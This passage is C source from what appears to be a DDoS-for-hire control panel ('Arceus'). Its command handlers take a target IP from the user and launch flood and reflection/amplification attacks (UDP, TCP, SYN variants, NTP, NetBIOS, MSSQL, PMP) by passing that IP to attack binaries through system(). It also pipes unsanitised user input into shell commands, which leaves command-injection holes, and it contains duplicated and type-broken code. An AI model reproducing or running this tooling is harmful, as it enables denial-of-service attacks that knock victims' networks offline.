  1964. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1965. }
  1966. if (strstr(arceus_buffer_size, ".telnet") || strstr(arceus_buffer_size, ".TELNET")) // System Command Function
  1967. {
  1968. char iptarget[5000]; // Char Every Line For Output Communication
  1969. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1970. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1971. trim_removev2(iptarget); // Trim [iptarget]
  1972. char *ipkill[5000]; // Creating A System Function
  1973. trim_removev2(ipkill); // Trim [ipkill]
  1974. sprintf(ipkill, "./amp/methods/Bandwidth/vse %s 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1975. system(ipkill); // System Execution
  1976. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m: \e[91mTELNET \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mTELNET-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  1977. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1978. }
  1979. if (strstr(arceus_buffer_size, ".udpabuse") || strstr(arceus_buffer_size, ".UDPABUSE")) // System Command Function
  1980. {
  1981. char iptarget[5000]; // Char Every Line For Output Communication
  1982. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1983. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1984. trim_removev2(iptarget); // Trim [iptarget]
  1985. char *ipkill[5000]; // Creating A System Function
  1986. trim_removev2(ipkill); // Trim [ipkill]
  1987. sprintf(ipkill, "./amp/methods/Bandwidth/udp_abuse %s 62141 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  1988. system(ipkill); // System Execution
  1989. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m: \e[91mUDPABUSE \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m:\e[91m UDPABUSE-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  1990. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  1991. }
  1992. if (strstr(arceus_buffer_size, ".tcpabuse") || strstr(arceus_buffer_size, ".TCPABUSE")) // System Command Function
  1993. {
  1994. char iptarget[5000]; // Char Every Line For Output Communication
  1995. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  1996. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  1997. trim_removev2(iptarget); // Trim [iptarget]
  1998. char *ipkill[5000]; // Creating A System Function
  1999. trim_removev2(ipkill); // Trim [ipkill]
  2000. sprintf(ipkill, "./amp/methods/Bandwidth/tcp_abuse %s 62141 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2001. system(ipkill); // System Execution
  2002. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m: \e[91mTCPABUSE \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mTCPABUSE-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2003. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2004. }
  2005. if (strstr(arceus_buffer_size, ".csyn") || strstr(arceus_buffer_size, ".CSYN")) // System Command Function
  2006. {
  2007. char iptarget[5000]; // Char Every Line For Output Communication
  2008. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2009. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2010. trim_removev2(iptarget); // Trim [iptarget]
  2011. char *ipkill[5000]; // Creating A System Function
  2012. trim_removev2(ipkill); // Trim [ipkill]
  2013. sprintf(ipkill, "./amp/methods/Bandwidth/csyn %s 62141 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2014. system(ipkill); // System Execution
  2015. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m:\e[91m CSYN \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mCSYN-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2016. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2017. }
  2018. if (strstr(arceus_buffer_size, ".xsyn") || strstr(arceus_buffer_size, ".XSYN")) // System Command Function
  2019. {
  2020. char iptarget[5000]; // Char Every Line For Output Communication
  2021. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2022. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2023. trim_removev2(iptarget); // Trim [iptarget]
  2024. char *ipkill[5000]; // Creating A System Function
  2025. trim_removev2(ipkill); // Trim [ipkill]
  2026. sprintf(ipkill, "./amp/methods/Bandwidth/xsyn %s 62141 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2027. system(ipkill); // System Execution
  2028. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m: \e[91mXSYN \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mXSYN-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2029. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2030. }
  2031. if (strstr(arceus_buffer_size, ".zsyn") || strstr(arceus_buffer_size, ".ZSYN")) // System Command Function
  2032. {
  2033. char iptarget[5000]; // Char Every Line For Output Communication
  2034. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2035. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2036. trim_removev2(iptarget); // Trim [iptarget]
  2037. char *ipkill[5000]; // Creating A System Function
  2038. trim_removev2(ipkill); // Trim [ipkill]
  2039. sprintf(ipkill, "./amp/methods/Bandwidth/zsyn %s 62141 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2040. system(ipkill); // System Execution
  2041. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m: \e[91mZSYN \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mZSYN-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2042. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2043. }
  2044. if (strstr(arceus_buffer_size, ".issyn") || strstr(arceus_buffer_size, ".ISSYN")) // System Command Function
  2045. {
  2046. char iptarget[5000]; // Char Every Line For Output Communication
  2047. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2048. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2049. trim_removev2(iptarget); // Trim [iptarget]
  2050. char *ipkill[5000]; // Creating A System Function
  2051. trim_removev2(ipkill); // Trim [ipkill]
  2052. sprintf(ipkill, "./amp/methods/Bandwidth/issyn.c %s 62141 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2053. system(ipkill); // System Execution
  2054. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m: \e[91mISSYN \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mISSYN-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2055. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2056. }
  2057. if (strstr(arceus_buffer_size, ".essyn") || strstr(arceus_buffer_size, ".ESSYN")) // System Command Function
  2058. {
  2059. char iptarget[5000]; // Char Every Line For Output Communication
  2060. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2061. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2062. trim_removev2(iptarget); // Trim [iptarget]
  2063. char *ipkill[5000]; // Creating A System Function
  2064. trim_removev2(ipkill); // Trim [ipkill]
  2065. sprintf(ipkill, "./amp/methods/Bandwidth/essyn.c %s 62141 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2066. system(ipkill); // System Execution
  2067. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m║ ╔═══════════════════════════╗\r\n \e[91m║ \e[91mMethod\e[91m: \e[91mESSYN \e[91m╠══════╣ \e[91m.KILL to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage\e[91m: \e[91mESSYN-IPHM \e[91m║ ╚═══════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2068. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2069. }
  2070. if (strstr(arceus_buffer_size, ".HUN-FUN") || strstr(arceus_buffer_size, ".hun-fun")) // System Command Function
  2071. {
  2072. char iptarget[5000]; // Char Every Line For Output Communication
  2073. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2074. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2075. trim_removev2(iptarget); // Trim [iptarget]
  2076. char *ipkill[5000]; // Creating A System Function
  2077. trim_removev2(ipkill); // Trim [ipkill]
  2078. sprintf(ipkill, "./hun-fun %s", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2079. system(ipkill); // System Execution
  2080. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: HUN-FUN \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: SPECIAL \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2081. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2082. }
  2083. if (strstr(arceus_buffer_size, ".ASS-CRK") || strstr(arceus_buffer_size, ".ass-crk")) // System Command Function
  2084. {
  2085. char iptarget[5000]; // Char Every Line For Output Communication
  2086. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2087. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2088. trim_removev2(iptarget); // Trim [iptarget]
  2089. char *ipkill[5000]; // Creating A System Function
  2090. trim_removev2(ipkill); // Trim [ipkill]
  2091. sprintf(ipkill, "./ass-crk %s", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2092. system(ipkill); // System Execution
  2093. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: ASS-CRK \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: SPECIAL \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2094. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2095. }
  2096. if (strstr(arceus_buffer_size, ".EFT-PWR") || strstr(arceus_buffer_size, ".eft-pwr")) // System Command Function
  2097. {
  2098. char iptarget[5000]; // Char Every Line For Output Communication
  2099. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2100. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2101. trim_removev2(iptarget); // Trim [iptarget]
  2102. char *ipkill[5000]; // Creating A System Function
  2103. trim_removev2(ipkill); // Trim [ipkill]
  2104. sprintf(ipkill, "./eft-pwr %s", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2105. system(ipkill); // System Execution
  2106. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: EFT-PWR \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: SPECIAL \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2107. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2108. }
  2109. if (strstr(arceus_buffer_size, ".PMP-PMP") || strstr(arceus_buffer_size, ".pmp-pmp")) // System Command Function
  2110. {
  2111. char iptarget[5000]; // Char Every Line For Output Communication
  2112. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2113. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2114. trim_removev2(iptarget); // Trim [iptarget]
  2115. char *ipkill[5000]; // Creating A System Function
  2116. trim_removev2(ipkill); // Trim [ipkill]
  2117. sprintf(ipkill, "./amp/methods/Reflection/pmp-pmp %s 62141 amp/lists/pmp-pmp.txt 2 -1 300", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2118. system(ipkill); // System Execution
  2119. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: PMP-PMP \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: SPECIAL \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2120. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2121. }
  2122. if (strstr(arceus_buffer_size, ".ZCH-CRI") || strstr(arceus_buffer_size, ".zch-cri")) // System Command Function
  2123. {
  2124. char iptarget[5000]; // Char Every Line For Output Communication
  2125. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2126. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2127. trim_removev2(iptarget); // Trim [iptarget]
  2128. char *ipkill[5000]; // Creating A System Function
  2129. trim_removev2(ipkill); // Trim [ipkill]
  2130. sprintf(ipkill, "./zch-cri %s", iptarget); // Default Time Has Been Set To 30 Seconds. Default Port Is 62141
  2131. system(ipkill); // System Execution
  2132. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: ZCH-CRI \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: SPECIAL \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2133. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2134. }
  2135. //if (strstr(arceus_buffer_size, ".test") || strstr(arceus_buffer_size, ".TEST")) // System Command Function
  2136. //{
  2137. //char iptarget[5000]; // Char Every Line For Output Communication
  2138. //char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2139. //snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2140. //trim_removev2(iptarget); // Trim [iptarget]
  2141. //char *ipkill[5000]; // Creating A System Function
  2142. //trim_removev2(ipkill); // Trim [ipkill]
  2143. //sprintf(ipkill, "./amp/methods/layer4/v1/custom/pmp-pmp/pmp-pmp %s amp/methods/layer4/v1/custom/pmp-pmp/pmp.txt 2 500;", iptarget);
  2144. //sprintf(ipkill, "./amp/methods/layer4/v1/reflection/mssql/mssql %s amp/methods/layer4/v1/reflection/mssql/mssql.txt 2 -1 500;", iptarget);
  2145. //sprintf(ipkill, "./amp/methods/layer4/v1/reflection/netbios/netbios %s amp/methods/layer4/v1/reflection/netbios/netbios.txt 2 -1 300;", iptarget);
  2146. //sprintf(ipkill, "./amp/methods/layer4/v1/reflection/ntp/ntp %s amp/methods/layer4/v1/reflection/ntp/ntp.txt 2 -1 500", iptarget);
  2147. //system(ipkill); // System Execution
  2148. //sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: ZCH-CRI \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: SPECIAL \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2149. //if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2150. //}
  2151. if (strstr(arceus_buffer_size, ".test") || strstr(arceus_buffer_size, ".TEST")) // System Command Function
  2152. {
  2153. char iptarget[5000]; // Char Every Line For Output Communication
  2154. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2155. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2156. trim_removev2(iptarget); // Trim [iptarget]
  2157. char *ipkill[5000]; // Creating A System Function
  2158. trim_removev2(ipkill); // Trim [ipkill]
  2159. sprintf(ipkill, "./amp/methods/layer4/v1/custom/pmp-pmp/pmp-pmp %s amp/methods/layer4/v1/custom/pmp-pmp/pmp.txt 2 500;", iptarget);
  2160. system(ipkill); // System Execution
  2161. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: ZCH-CRI \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: SPECIAL \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2162. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2163. }
  2164. if (strstr(arceus_buffer_size, ".test") || strstr(arceus_buffer_size, ".TEST")) // System Command Function
  2165. {
  2166. char iptarget[5000]; // Char Every Line For Output Communication
  2167. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2168. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2169. trim_removev2(iptarget); // Trim [iptarget]
  2170. char *ipkill[5000]; // Creating A System Function
  2171. trim_removev2(ipkill); // Trim [ipkill]
  2172. sprintf(ipkill, "./amp/methods/layer4/v1/reflection/mssql/mssql %s amp/methods/layer4/v1/reflection/mssql/mssql.txt 2 -1 500;", iptarget);
  2173. sprintf(ipkill, "./amp/methods/layer4/v1/reflection/netbios/netbios %s amp/methods/layer4/v1/reflection/netbios/netbios.txt 2 -1 300;", iptarget);
  2174. sprintf(ipkill, "./amp/methods/layer4/v1/reflection/ntp/ntp %s amp/methods/layer4/v1/reflection/ntp/ntp.txt 2 -1 500", iptarget);
  2175. system(ipkill); // System Execution
  2176. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: ZCH-CRI \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: SPECIAL \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2177. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2178. }
  2179. if (strstr(arceus_buffer_size, ".test") || strstr(arceus_buffer_size, ".TEST")) // System Command Function
  2180. {
  2181. char iptarget[5000]; // Char Every Line For Output Communication
  2182. char *token = strtok(arceus_buffer_size, " "); // Create Delimiter
  2183. snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
  2184. trim_removev2(iptarget); // Trim [iptarget]
  2185. char *ipkill[5000]; // Creating A System Function
  2186. trim_removev2(ipkill); // Trim [ipkill]
  2187. sprintf(ipkill, "./amp/methods/layer4/v1/custom/pmp-pmp/pmp-pmp %s amp/methods/layer4/v1/custom/pmp-pmp/pmp.txt 2 500;", iptarget);
  2188. sprintf(ipkill, "./amp/methods/layer4/v1/reflection/mssql/mssql %s amp/methods/layer4/v1/reflection/mssql/mssql.txt 2 -1 500;", iptarget);
  2189. sprintf(ipkill, "./amp/methods/layer4/v1/reflection/netbios/netbios %s amp/methods/layer4/v1/reflection/netbios/netbios.txt 2 -1 300;", iptarget);
  2190. sprintf(ipkill, "./amp/methods/layer4/v1/reflection/ntp/ntp %s amp/methods/layer4/v1/reflection/ntp/ntp.txt 2 -1 500", iptarget);
  2191. system(ipkill); // System Execution
  2192. sprintf(arceus, " \e[91m╔══════════════════════╗\r\n \e[91m║ \e[91mAttack Sent! \e[91m ║ ╔════════════════════════════╗\r\n \e[91m║ \e[91mMethod: ZCH-CRI \e[91m ╠══════╣ \e[91m. STOP to stop the attack! \e[91m║\r\n \e[91m║ \e[91mUsage: SPECIAL \e[91m ║ ╚════════════════════════════╝\r\n \e[91m╚══════════════════════╝\r\n");
  2193. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2194. }
  2195. else if (strstr(arceus_buffer_size, ".KILL") || strstr(arceus_buffer_size, ".kill")) // System Command Function -- [TESTING HERE]
  2196. {
  2197. char command[70];
  2198. trim_removev2(command);
  2199. strcpy(command, "python scripts/IPHM_Attack_Process_Killer.py" );
  2200. system(command);
  2201. sprintf(arceus, " \r\n");
  2202. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2203. }
  2204. else if (strstr(arceus_buffer_size, ".nts off") || strstr(arceus_buffer_size, ".tfs off") || strstr(arceus_buffer_size, ".sds off") || strstr(arceus_buffer_size, ".pos off") || strstr(arceus_buffer_size, ".cos off") || strstr(arceus_buffer_size, ".sos off") || strstr(arceus_buffer_size, ".nes off") || strstr(arceus_buffer_size, ".mss off") || strstr(arceus_buffer_size, ".tss off"))// System Command Function -- [TESTING HERE]
  2205. {
  2206. char command[70];
  2207. trim_removev2(command);
  2208. strcpy(command, "python scripts/IPHM_Scanner_Process_Killer.py" );
  2209. system(command);
  2210. sprintf(arceus, " \r\n");
  2211. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2212. }
  2213. if (strstr(arceus_buffer_size, ".install") || strstr(arceus_buffer_size, ".INSTALL")) // System Command Function -- [TESTING HERE]
  2214. {
  2215. if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
  2216. {
  2217. char command[50];
  2218. trim_removev2(command);
  2219. strcpy(command, "python install.py" );
  2220. system(command);
  2221. sprintf(arceus, "\e[91mAll IP-Header Modification Based methods downloaded!\r\n");
  2222. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2223. }
  2224. else
  2225. {
  2226. sprintf(arceus, "\e[91mOwners Only!!\r\n");
  2227. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2228. }
  2229. }
  2230. if (strstr(arceus_buffer_size, "resolve") || strstr(arceus_buffer_size, "RESOLVE")) // Resolve Command - Function Requires 'resolve.h'
  2231. {
  2232. char *internet_protocol[100]; // Char Every Line For Output Communication
  2233. char *token = strtok(arceus_buffer_size, " "); // Char Every Line For Output Communication
  2234. char *url = token+sizeof(token); // Char Every Line For Output Communication
  2235. trim_removev2(url); // Trim [Url]
  2236. resolve(url, internet_protocol); // Using User Input - Stated As 'Url' or 'IP' - We Use This In The Resolver Function
  2237. sprintf(arceus, "\e[91mResolved \e[91m[\e[91m%s\e[91m] \e[91mto \e[91m[\e[91m%s\e[91m]\r\n", url, internet_protocol); // Resolver Output
  2238. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2239. }
  2240. if(strstr(arceus_buffer_size, ".adduser") || strstr(arceus_buffer_size, ".ADDUSER") || strstr(arceus_buffer_size, "adduser") || strstr(arceus_buffer_size, "ADDUSER")) // Add User Function, This Allows Us To Easily Add A New User To The Network, Without Having To Manually Edting The login.txt
  2241. {
  2242. if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
  2243. {
  2244. char *token = strtok(arceus_buffer_size, " "); // Char Every Line For Output Communication
  2245. char *userinfo = token+sizeof(token); // Char Every Line For Output Communication
  2246. trim_removev2(userinfo); // Trim [Userinfo]
  2247. char *uinfo[50]; // Char Every Line For Output Communication
  2248. sprintf(uinfo, "echo '%s' >> arceus.txt", userinfo); // We Are Editing The Following File --> 'arceus.txt' Which Is Our 'Login.txt'
  2249. system(uinfo); // Access Of System Functions In Order To Edit The File From The Communicating Screen
  2250. printf("\e[91m[\e[91mArceus\e[91m] \e[91mUser\e[91m:[\e[91m%s\e[91m] \e[91mAdded User\e[91m:[\e[91m%s\e[91m]\n", accounts[find_line].username, userinfo); // Adding User - Output
  2251. sprintf(arceus, "\e[91m[\e[91mArceus\e[91m] \e[91mUser\e[91m:[\e[91m%s\e[91m] \e[91mSuccessfully Added!\r\n", userinfo); // Adding User - Output
  2252. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2253. }
  2254. else
  2255. {
  2256. sprintf(arceus, "Admins Only!\r\n");
  2257. if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1); // Each Line Set on [MSG_NOSIGNAL] - Broadcast
  2258. }
  2259. }
  2260. // else if(strstr(arceus_buffer_size, ".deluser") || strstr(arceus_buffer_size, ".DELUSER")
  2261. // {
  2262. // if(strcmp(Admin, accounts[find_line].identification_type) == 0)
  2263. // {
  2264. // int kdm;
  2265. // char deluser[50];
  2266. // if(send(clear_arceus_broadcast, "\x1b[1;36mUsername: \x1b[37m", strlen("\x1b[1;36mUsername: \x1b[37m"), MSG_NOSIGNAL) == -1) goto finish_integer;
  2267. // memset(deluser, 0, sizeof(deluser));
  2268. // while(buffer_size_string_compare(deluser, sizeof deluser, clear_arceus_broadcast) < 1)
  2269. // {
  2270. // trim_removev2(deluser);
  2271. // if(strlen(deluser) < 3) continue;
  2272. // break;
  2273. // }
  2274. // trim_removev2(deluser);
  2275. // rmstr(deluser, ACC_FILE);
  2276. // sprintf(arceus, "\x1b[1;36mDeleted User \x1b[0m(\x1b[1;36m%s\x1b[0m)...\r\n", deluser);
  2277. // if(send(clear_arceus_broadcast, arceus, strlen(arceus), MSG_NOSIGNAL) == -1) goto finish_integer;
  2278. // for(kdm = 0; kdm < max_file_descriptor_value; kdm++)
  2279. // {
  2280. // if(!managers[kdm].transmitted_successfully) continue;
  2281. // if(!strcmp(managers[kdm].username, deluser))
  2282. // {
  2283. // close(kdm);
  2284. // managers[kdm].transmitted_successfully = 0;
